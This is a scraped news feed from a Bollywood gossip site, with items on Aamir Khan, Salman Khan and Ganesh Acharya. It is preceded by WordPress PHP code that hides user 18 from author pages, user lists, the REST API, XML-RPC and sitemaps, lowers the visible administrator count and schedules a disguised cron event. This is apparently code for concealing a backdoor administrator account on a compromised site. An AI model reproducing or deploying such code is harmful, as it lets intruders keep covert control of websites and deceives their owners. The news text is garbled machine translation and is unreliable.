add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Aamir Khan found corona positive,he stopped his dream project appeared first on The Edge Media.
]]> According to Pinkvilla’s news, Aamir Khan has been found to be Corona positive. Aamir has tested positive for the virus, and has imprisoned himself at home. Due to Aamir being Corona positive, his work has also stopped. After he fully recovers, he will resume shooting for Lala Singh Chadha.
According to the news, Aamir’s spokesperson has said that Aamir Khan Kovid has been found to be 19 positive. He is at home in a quarantine and is following all the protocols. He is fine, whoever has come in contact with him has been asked to share his history. Thanks for all your wishes
The news of Aamir Khan being Corona positive has created a stir among the fans. Everyone is praying for the recovery of their favorite star as soon as possible.
Before Aamir, recently, Karthik Aryan had told via post that he has become corona, after which the entire maze team has been tested. Many stars like Ranbir Kapoor, Sanjay Leela Bhansali, Kartin Aryan, Sanjay Leela Bhansali, Varun Dhawan, Neetu Singh have been hit by Corona
Aamir announced to say goodbye to social media. After which everyone was shocked. Now Aamir has given the reason behind leaving social media. Whose video is going viral on social media. In the viral video, Aamir Khan is seen talking to the media. He says- I live in my own tune. Where am I on social media? I thought that I do not go anyways, I keep on keeping my tune. I have not said goodbye I’m not going anywhere Even before, he used to talk to his fans through the media. Now the role of media has increased because I will talk to the fans and audiences through them.
Aamir was working on his dream film ‘Mahabharata’ for the last two years. But suddenly they have decided not to make it yet. The actor says that this is not the right time. At the same time, sources say that Aamir Khan is doing this to avoid controversies arising out of the ‘Mahabharata’.
It is known that Aamir was going to make a film based on the mythological Hindu religious text Mahabharata. Later the news came out that he will now make it not as a movie but as a web series. But all of a sudden, Aamir has pulled out of this project and everyone has got into thinking. A source close to the actor told a media portal, ‘Seeing all the good and evil, Aamir Khan has decided not to create’ Mahabharata ‘. This can be unnecessarily controversial. Apart from this, the scale at which the project was planned to be built, was not so practical commercially. Therefore, we will not make ‘Mahabharata’.
The post Aamir Khan found corona positive,he stopped his dream project appeared first on The Edge Media.
]]>The post Theater owners had demanded Salman Khan to release Radhe on Eid, now Bhaijaan said – Sorry … appeared first on The Edge Media.
]]>Cinema hall owners wrote to Salman Khan requesting film exhibitors from different states of India as an application form to submit their upcoming film ‘Radhe: Your Most Wanted Bhai’ (Radhe: Your Most Wanted Bhai) Release in theaters. Because his film will not only be able to revive the fate of single screen owners, but will also provide a ray of hope to the owners and employees of cinemas in terms of their future. At the same time, the film ‘Radhe’ will be released keeping in mind the tradition of Salman Khan’s Eid release. In this film, along with Salman, Disha Patani, Randeep Hooda and Jackie Shroff will also be seen in the lead roles.
The post Theater owners had demanded Salman Khan to release Radhe on Eid, now Bhaijaan said – Sorry … appeared first on The Edge Media.
]]>The post Why did Siddharth Malhotra’s career flop even after his debut with Karan Johar’s film? appeared first on The Edge Media.
]]>The post Why did Siddharth Malhotra’s career flop even after his debut with Karan Johar’s film? appeared first on The Edge Media.
]]>The post How ganesh Acharya lost 98 kg,said in kapil show appeared first on The Edge Media.
]]>
Ganesh Acharya recently came on The Kapil Sharma Show. Geeta Kapoor and Terence also attended with him. A promo has been shared by the makers, which has become quite viral.
Ganesh has told about his fitness journey on Kapil’s show. When Kapil asks Ganesh how much weight he has lost, this time the choreographer has given a surprising answer.
They say- I have lost 98 kg. Everyone was stunned by Ganesh’s answer and just kept looking at him. But Kapil Sharma, who took a nip on everything, did not let this opportunity go by hand.
On Ganesh’s statement, Kapil said – In small towns there are 46 kg men. Here you have made two men disappear. Kapil’s witty style made everyone laugh.How choreographer Ganesh Acharya lost 98 kg, told on Kapil’s show
By the way, Ganesh Acharya has explained in detail about his fitness on many occasions. According to him, this journey of fat to fit has been very difficult for him. They have faced many challenges.
According to the choreograph, he had become a full-fledged 200 kg. He had gained that weight due to one of his films. But after that Ganesh started gyming and he lost so much weight. Now Ganesh keeps sharing many of his photos on social media. Seeing his fitness, all are compelled to praise him.
The post How ganesh Acharya lost 98 kg,said in kapil show appeared first on The Edge Media.
]]>